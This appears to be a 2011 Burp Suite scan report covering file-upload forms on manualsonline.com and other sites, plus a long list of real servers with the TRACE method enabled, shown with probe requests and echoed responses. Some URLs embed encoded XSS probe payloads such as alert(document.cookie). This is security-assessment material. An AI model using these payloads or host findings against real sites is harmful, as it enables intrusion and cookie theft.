http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFt7K-JBKpz6-rzEu72zZg5MwT1cg/
http://malsup.com/jquery/form/
http://nyromodal.nyrodev.com/
http://nyromodal.nyrodev.com/
http://www.symbaloo.com/

Issue background

File upload functionality is commonly associated with a number of vulnerabilities, including:

File path traversal
Persistent cross-site scripting
Placing of other client-executable code into the domain
Transmission of viruses and other malware
Denial of service

You should review the file upload functionality to understand its purpose, and establish whether uploaded content is ever returned to other application users, either through their normal usage of the application or by being fed a specific link by an attacker.

Some factors to consider when evaluating the security impact of this functionality include:

Whether uploaded content can subsequently be downloaded via a URL within the application.
What Content-type and Content-disposition headers the application returns when the file's content is downloaded.
Whether it is possible to place executable HTML/JavaScript into the file, which executes when the file's contents are viewed.
Whether the application performs any filtering on the file extension or MIME type of the uploaded file.
Whether it is possible to construct a hybrid file containing both executable and non-executable content, to bypass any content filters - for example, a file containing both a GIF image and a Java archive (known as a GIFAR file).
What location is used to store uploaded content, and whether it is possible to supply a crafted filename to escape from this location.
Whether archive formats such as ZIP are unpacked by the application.
How the application handles attempts to upload very large files, or decompression bomb files.

Issue remediation

File upload functionality is not straightforward to implement securely. Some recommendations to consider in the design of this functionality include:

Use a server-generated filename if storing uploaded files on disk.
Inspect the content of uploaded files, and enforce a whitelist of accepted, non-executable content types. Additionally, enforce a blacklist of common executable formats, to hinder hybrid file attacks.
Enforce a whitelist of accepted, non-executable file extensions.
If uploaded files are downloaded by users, supply an accurate non-generic Content-type header, and also a Content-disposition header which specifies that browsers should handle the file as an attachment.
Enforce a size limit on uploaded files (for defense-in-depth, this can be implemented both within application code and in the web server's configuration.
Reject attempts to upload archive formats such as ZIP.

22.1. http://cdn.manualsonline.com/javascript/libs-2.8.3.4.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cdn.manualsonline.com
Path:	/javascript/libs-2.8.3.4.js

Issue detail

The page contains a form which is used to submit a user-supplied file to the following URL:

http://cdn.manualsonline.com/ex/post/addImage

Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.

Request

GET /javascript/libs-2.8.3.4.js HTTP/1.1
Host: cdn.manualsonline.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache/2.2.14 (Fedora)
Last-Modified: Wed, 26 Jan 2011 14:52:47 GMT
ETag: "9127c7-304bf-49ac0fc788dc0"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Type: application/x-javascript
Cache-Control: max-age=4950
Expires: Sat, 05 Feb 2011 23:15:51 GMT
Date: Sat, 05 Feb 2011 21:53:21 GMT
Connection: close
Content-Length: 197823

if(typeof Effect=="undefined"){throw ("controls.js requires including script.aculo.us' effects.js library")
}var Autocompleter={};Autocompleter.Base=Class.create({baseInitialize:function(a,c,b){a=$(a)
...[SNIP]...
"return handleImageUploadForm(this,\'helpform\')" method="post" action="/ex/post/addImage" enctype="multipart/form-data" id="upload_image_form_helpform" name="upload_image_form_helpform">';
html+=' <input type="file" id="prod_pic_helpform" onchange="javascript:document.upload_image_form_helpform.Submit.click();" class="post mexButton" name="image" size="25"/><br/>
...[SNIP]...

22.2. http://cdn.manualsonline.com/javascript/libs-2.8.3.4.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cdn.manualsonline.com
Path:	/javascript/libs-2.8.3.4.js

Issue detail

The page contains a form which is used to submit a user-supplied file to the following URL:

http://cdn.manualsonline.com/ex/post/addImage

Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.

Request

Response

HTTP/1.1 200 OK
Server: Apache/2.2.14 (Fedora)
Last-Modified: Wed, 26 Jan 2011 14:52:47 GMT
ETag: "9127c7-304bf-49ac0fc788dc0"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Type: application/x-javascript
Cache-Control: max-age=4950
Expires: Sat, 05 Feb 2011 23:15:51 GMT
Date: Sat, 05 Feb 2011 21:53:21 GMT
Connection: close
Content-Length: 197823

if(typeof Effect=="undefined"){throw ("controls.js requires including script.aculo.us' effects.js library")
}var Autocompleter={};Autocompleter.Base=Class.create({baseInitialize:function(a,c,b){a=$(a)
...[SNIP]...
ImageUploadForm(this,'comment-"+a+'\')" method="post" action="/ex/post/addImage" enctype="multipart/form-data" id="upload_image_form_comment-'+a+'" name="upload_image_form_comment-'+a+'">';
html+=' <input type="file" id="prod_pic_comment-'+a+'" onchange="javascript:$(\'upload_image_form_comment-'+a+'\').Submit.click();" class="post" name="image" size="25"/><br/>
...[SNIP]...

22.3. http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type/product_problem previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type/product_problem

Issue detail

The page contains a form which is used to submit a user-supplied file to the following URL:

http://homeappliance.manualsonline.com/ex/post/addImage

Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.

Request

Response

22.4. http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type/product_problem previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type/product_problem

Issue detail

The page contains a form which is used to submit a user-supplied file to the following URL:

http://homeappliance.manualsonline.com/ex/post/addImage

Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.

Request

Response

22.5. http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type/product_problem previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type/product_problem

Issue detail

The page contains a form which is used to submit a user-supplied file to the following URL:

http://homeappliance.manualsonline.com/ex/post/addImage

Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.

Request

Response

Summary

Severity:	Information
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ/

Issue detail

The page contains a form which is used to submit a user-supplied file to the following URL:

http://homeappliance.manualsonline.com/ex/post/addImage

Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.

Request

Response

Summary

Severity:	Information
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ/

Issue detail

The page contains a form which is used to submit a user-supplied file to the following URL:

http://homeappliance.manualsonline.com/ex/post/addImage

Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.

Request

Response

Summary

Severity:	Information
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ/

Issue detail

The page contains a form which is used to submit a user-supplied file to the following URL:

http://homeappliance.manualsonline.com/ex/post/addImage

Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.

Request

Response

Summary

Severity:	Information
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFt7K-JBKpz6-rzEu72zZg5MwT1cg/

Issue detail

The page contains a form which is used to submit a user-supplied file to the following URL:

http://homeappliance.manualsonline.com/ex/post/addImage

Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.

Request

Response

Summary

Severity:	Information
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFt7K-JBKpz6-rzEu72zZg5MwT1cg/

Issue detail

The page contains a form which is used to submit a user-supplied file to the following URL:

http://homeappliance.manualsonline.com/ex/post/addImage

Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.

Request

Response

Summary

Severity:	Information
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFt7K-JBKpz6-rzEu72zZg5MwT1cg/

Issue detail

The page contains a form which is used to submit a user-supplied file to the following URL:

http://homeappliance.manualsonline.com/ex/post/addImage

Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.

Request

Response

22.12. http://malsup.com/jquery/form/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://malsup.com
Path:	/jquery/form/

Issue detail

The page contains a form which is used to submit a user-supplied file to the following URL:

http://malsup.com/jquery/form/files.php

Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.

Request

GET /jquery/form/ HTTP/1.1
Host: malsup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

22.13. http://nyromodal.nyrodev.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://nyromodal.nyrodev.com
Path:	/

Issue detail

The page contains a form which is used to submit a user-supplied file to the following URL:

http://nyromodal.nyrodev.com/demoSent.php

Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.

Request

GET / HTTP/1.1
Host: nyromodal.nyrodev.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:34 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: max-age=2678400
Expires: Wed, 09 Mar 2011 16:04:34 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 56168

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="Conte
...[SNIP]...
<form method="post" enctype="multipart/form-data" action="demoSent.php#blabla" class="nyroModal">
           <input type="file" name="file" />
           <input type="submit" value="form with file Filtering Content"/>
...[SNIP]...

22.14. http://nyromodal.nyrodev.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://nyromodal.nyrodev.com
Path:	/

Issue detail

The page contains a form which is used to submit a user-supplied file to the following URL:

http://nyromodal.nyrodev.com/demoSent.php

Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.

Request

GET / HTTP/1.1
Host: nyromodal.nyrodev.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:34 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: max-age=2678400
Expires: Wed, 09 Mar 2011 16:04:34 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 56168

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="Conte
...[SNIP]...
<form method="post" enctype="multipart/form-data" action="demoSent.php" class="nyroModal">
           <input type="file" name="file" />
           <input type="submit" value="form with file"/>
...[SNIP]...

22.15. http://www.symbaloo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.symbaloo.com
Path:	/

Issue detail

The page contains a form which is used to submit a user-supplied file to the following URL:

http://www.symbaloo.com/

Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.

Request

GET / HTTP/1.1
Host: www.symbaloo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

23. TRACE method is enabled previous next
There are 53 instances of this issue:

http://a.ligatus.com/
http://a.ligatus.de/
http://bassistance.de/
http://blog.owneriq.com/
http://channelmarketing.owneriq.com/
http://chitika.com/
http://dailyme.com/
http://demos.spongecell.com/
http://digg.com/
http://diveintomark.org/
http://e.ligatus.com/
http://en.wikipedia.org/
http://enterprisemediagroup.112.2o7.net/
http://fancy.klade.lv/
http://gsgd.co.uk/
http://identi.ca/
http://images.devshed.com/
http://imera.com.br/
http://jquery.org/
http://labs.chitika.com/
http://metrics.blackberry.com/
http://multiply.com/
http://packetstorm.linuxsecurity.com/
http://phonefavs.com/
http://ping.fm/
http://readitlaterlist.com/
http://smaknews.com/
http://statistics.wibiya.com/
http://tracker.icerocket.com/
http://unalog.com/
http://wstat.wibiya.com/
http://www.aim.com/
http://www.allvoices.com/
http://www.bargainforce.com/
http://www.bookmarks.fr/
http://www.care2.com/
http://www.codylindley.com/
http://www.connotea.org/
http://www.gabbr.com/
http://www.instapaper.com/
http://www.jamespot.com/
http://www.khabbr.com/
http://www.linkagogo.com/
http://www.linkatopia.com/
http://www.manualsonline.com/
http://www.mister-wong.com/
http://www.netvouz.com/
http://www.nmworkwear.de/
http://www.orthougm.com/
http://www.splunk.com/
http://www.traffictrack.de/
http://www91.intel.com/
http://ziffdavisbaseline.112.2o7.net/

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

23.1. http://a.ligatus.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.ligatus.com
Path:	/

Request

TRACE / HTTP/1.0
Host: a.ligatus.com
Cookie: a99778c12bdba92b

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:44:12 GMT
Server: Apache
Content-Type: message/http
Accept-Ranges: bytes
Cache-Control: private, max-age=600
Age: 0
Expires: Sun, 06 Feb 2011 17:54:12 GMT
Connection: close

TRACE / HTTP/1.1
Cookie: a99778c12bdba92b
Accept-Encoding: gzip
Connection: Keep-Alive
Host: s.ligatus.com
X-Forwarded-For: 173.193.214.243, 208.93.140.35
x-chpd-loop: 1
Via: 1.0 PXY022-ASHB.COTENDO.NET (chpd/3.06.0052)

23.2. http://a.ligatus.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.ligatus.de
Path:	/

Request

TRACE / HTTP/1.0
Host: a.ligatus.de
Cookie: beb95eec959907d6

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:43:12 GMT
Server: Apache
Content-Type: message/http
Accept-Ranges: bytes
Cache-Control: private, max-age=600
Age: 0
Expires: Sun, 06 Feb 2011 17:53:12 GMT
Connection: close

TRACE / HTTP/1.1
Cookie: beb95eec959907d6
Accept-Encoding: gzip
Connection: Keep-Alive
Host: s.ligatus.com
X-Forwarded-For: 173.193.214.243, 208.93.140.17
x-chpd-loop: 1
Via: 1.0 PXY004-ASHB.COTENDO.NET (chpd/3.06.0052)

23.3. http://bassistance.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bassistance.de
Path:	/

Request

TRACE / HTTP/1.0
Host: bassistance.de
Cookie: 54439918a75a0908

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:44:39 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: bassistance.de
Cookie: 54439918a75a0908

23.4. http://blog.owneriq.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://blog.owneriq.com
Path:	/

Request

TRACE / HTTP/1.0
Host: blog.owneriq.com
Cookie: 13b459576a99630c

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:45:44 GMT
Server: Apache/2.2.14 (Fedora)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: blog.owneriq.com
Cookie: 13b459576a99630c

23.5. http://channelmarketing.owneriq.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://channelmarketing.owneriq.com
Path:	/

Request

TRACE / HTTP/1.0
Host: channelmarketing.owneriq.com
Cookie: 43b663334846b21e

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:46:52 GMT
Server: Apache/2.2.14 (Fedora)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: channelmarketing.owneriq.com
Cookie: 43b663334846b21e

23.6. http://chitika.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://chitika.com
Path:	/

Request

TRACE / HTTP/1.0
Host: chitika.com
Cookie: cc1077701bb7fd13

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:47:00 GMT
Server: Apache/2.2.8 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.10
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: chitika.com
Cookie: cc1077701bb7fd13

23.7. http://dailyme.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://dailyme.com
Path:	/

Request

TRACE / HTTP/1.0
Host: dailyme.com
Cookie: 233aa04c9cd59b90

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:47:29 GMT
Server: Apache/2.2.3 (CentOS)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: dailyme.com
Cookie: 233aa04c9cd59b90

23.8. http://demos.spongecell.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://demos.spongecell.com
Path:	/

Request

TRACE / HTTP/1.0
Host: demos.spongecell.com
Cookie: 2cea6a4e15e7af27

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:47:37 GMT
Server: Apache/2.0.54
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: demos.spongecell.com
Cookie: 2cea6a4e15e7af27

23.9. http://digg.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://digg.com
Path:	/

Request

TRACE / HTTP/1.0
Host: digg.com
Cookie: dc707389b5b311ab

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:48:02 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: digg.com
Cookie: dc707389b5b311ab
Connection: Keep-Alive
X-forwarded-for: 173.193.214.243

23.10. http://diveintomark.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://diveintomark.org
Path:	/

Request

TRACE / HTTP/1.0
Host: diveintomark.org
Cookie: 1a138611af8d1518

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:48:04 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: diveintomark.org
Cookie: 1a138611af8d1518

23.11. http://e.ligatus.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://e.ligatus.com
Path:	/

Request

TRACE / HTTP/1.0
Host: e.ligatus.com
Cookie: def9c4f3e2e3557b

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 18:27:44 GMT
Server: Apache
Content-Type: message/http
Accept-Ranges: bytes
Cache-Control: no-store
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close

TRACE / HTTP/1.1
Cookie: def9c4f3e2e3557b
Accept-Encoding: gzip
Connection: Keep-Alive
Host: i-origin.ligatus.com
X-Forwarded-For: 173.193.214.243
x-chpd-loop: 1
Via: 1.0 PXY007-ASHB.COTENDO.NET (chpd/3.06.0052)

23.12. http://en.wikipedia.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://en.wikipedia.org
Path:	/

Request

TRACE / HTTP/1.0
Host: en.wikipedia.org
Cookie: 80092cb68f55a422

Response

HTTP/1.0 200 OK
Date: Sat, 05 Feb 2011 22:48:53 GMT
Server: Apache
Content-Type: message/http
X-Cache: MISS from sq61.wikimedia.org
X-Cache-Lookup: NONE from sq61.wikimedia.org:3128
X-Cache: MISS from sq74.wikimedia.org
X-Cache-Lookup: NONE from sq74.wikimedia.org:80
Connection: close

TRACE / HTTP/1.0
Host: en.wikipedia.org
Cookie: 80092cb68f55a422
Via: 1.0 sq61.wikimedia.org:3128 (squid/2.7.STABLE7)
X-Forwarded-For: 173.193.214.243, 208.80.152.84

23.13. http://enterprisemediagroup.112.2o7.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://enterprisemediagroup.112.2o7.net
Path:	/

Request

TRACE / HTTP/1.0
Host: enterprisemediagroup.112.2o7.net
Cookie: 2320f44616154ef7

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:21:53 GMT
Server: Omniture DC/2.0.0
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: enterprisemediagroup.112.2o7.net
Cookie: 2320f44616154ef7
Connection: Keep-Alive
X-Forwarded-For: 173.193.214.243

23.14. http://fancy.klade.lv/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fancy.klade.lv
Path:	/

Request

TRACE / HTTP/1.0
Host: fancy.klade.lv
Cookie: 45afa4a8565a92e4

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:49:00 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: fancy.klade.lv
Cookie: 45afa4a8565a92e4

23.15. http://gsgd.co.uk/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://gsgd.co.uk
Path:	/

Request

TRACE / HTTP/1.0
Host: gsgd.co.uk
Cookie: 4782f515d0a958d1

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:49:24 GMT
Server: Apache/1.3.41
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Cookie: 4782f515d0a958d1
Host: gsgd.co.uk

23.16. http://identi.ca/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://identi.ca
Path:	/

Request

TRACE / HTTP/1.0
Host: identi.ca
Cookie: 9bf4570ee21f2367

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:50:16 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.6 with Suhosin-Patch mod_ssl/2.2.11 OpenSSL/0.9.8g
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: identi.ca
Cookie: 9bf4570ee21f2367

23.17. http://images.devshed.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://images.devshed.com
Path:	/

Request

TRACE / HTTP/1.0
Host: images.devshed.com
Cookie: abf397749b60fd0e

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:21:31 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: images.devshed.com
Cookie: abf397749b60fd0e

23.18. http://imera.com.br/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://imera.com.br
Path:	/

Request

TRACE / HTTP/1.0
Host: imera.com.br
Cookie: b1d83f52d81c17ae

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:54:48 GMT
Server: Apache/2.2.6 (Fedora)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: imera.com.br
Cookie: b1d83f52d81c17ae

23.19. http://jquery.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://jquery.org
Path:	/

Request

TRACE / HTTP/1.0
Host: jquery.org
Cookie: 18176b178bfe0f5

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:51:08 GMT
Server: Apache/2.2.3 (CentOS)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: jquery.org
Cookie: 18176b178bfe0f5

23.20. http://labs.chitika.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://labs.chitika.com
Path:	/

Request

TRACE / HTTP/1.0
Host: labs.chitika.com
Cookie: 4ef3a7b980250f00

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:51:10 GMT
Server: Apache/2.2.3 (Red Hat)
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: labs.chitika.com
Cookie: 4ef3a7b980250f00

23.21. http://metrics.blackberry.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://metrics.blackberry.com
Path:	/

Request

TRACE / HTTP/1.0
Host: metrics.blackberry.com
Cookie: 9a75067b4791e626

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:32:28 GMT
Server: Omniture DC/2.0.0
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: metrics.blackberry.com
Cookie: 9a75067b4791e626
Connection: Keep-Alive
X-Forwarded-For: 173.193.214.243

23.22. http://multiply.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://multiply.com
Path:	/

Request

TRACE / HTTP/1.0
Host: multiply.com
Cookie: 6e374007626dc3e4

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:23 GMT
Server: Apache/1.3.29 (Unix) mod_perl/1.29
Cache-Control: max-age=25920000
Expires: Fri, 02 Dec 2011 22:58:23 GMT
Content-Type: message/http
X-Cache: MISS from multiply.com
Connection: close

TRACE / HTTP/1.1
Connection: close
Cookie: 6e374007626dc3e4
Host: ws722-fe.pn.pezarisdesign.com:32000
X-Forwarded-For: 173.193.214.243
X-Forwarded-Host: multiply.com
X-Forwarded-Server: multiply.com

23.23. http://packetstorm.linuxsecurity.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://packetstorm.linuxsecurity.com
Path:	/

Request

TRACE / HTTP/1.0
Host: packetstorm.linuxsecurity.com
Cookie: 5ae19efb6a2a675e

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:28 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: packetstorm.linuxsecurity.com
Cookie: 5ae19efb6a2a675e

23.24. http://phonefavs.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://phonefavs.com
Path:	/

Request

TRACE / HTTP/1.0
Host: phonefavs.com
Cookie: ba98c97695376fab

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:37 GMT
Server: Apache/2.0.54
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: phonefavs.com
Cookie: ba98c97695376fab

23.25. http://ping.fm/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ping.fm
Path:	/

Request

TRACE / HTTP/1.0
Host: ping.fm
Cookie: 41e9dda00b780b93

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:37 GMT
Server: Apache
Content-Type: message/http
Connection: close
Via: 1.1 AN-0016020121270012

TRACE / HTTP/1.0
Host: ping.fm
Cookie: 41e9dda00b780b93
Accept-Encoding: identity
Connection: Keep-alive
Via: 1.0 AN-0016020121270012
X-Forwarded-For: 173.193.214.243

23.26. http://readitlaterlist.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://readitlaterlist.com
Path:	/

Request

TRACE / HTTP/1.0
Host: readitlaterlist.com
Cookie: 5a5321f7953d405

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:51 GMT
Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 PHP/5.3.3
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: readitlaterlist.com
Cookie: 5a5321f7953d405

23.27. http://smaknews.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://smaknews.com
Path:	/

Request

